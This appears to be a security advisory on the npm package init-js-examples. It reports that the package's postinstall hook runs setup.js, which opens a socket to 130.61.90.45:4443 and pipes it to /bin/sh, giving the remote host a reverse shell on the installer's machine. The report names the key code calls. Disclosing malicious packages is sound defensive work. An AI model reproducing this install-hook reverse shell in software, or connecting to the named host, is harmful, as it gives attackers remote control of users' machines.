init-js-examples @1.0.0

Summary

The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.
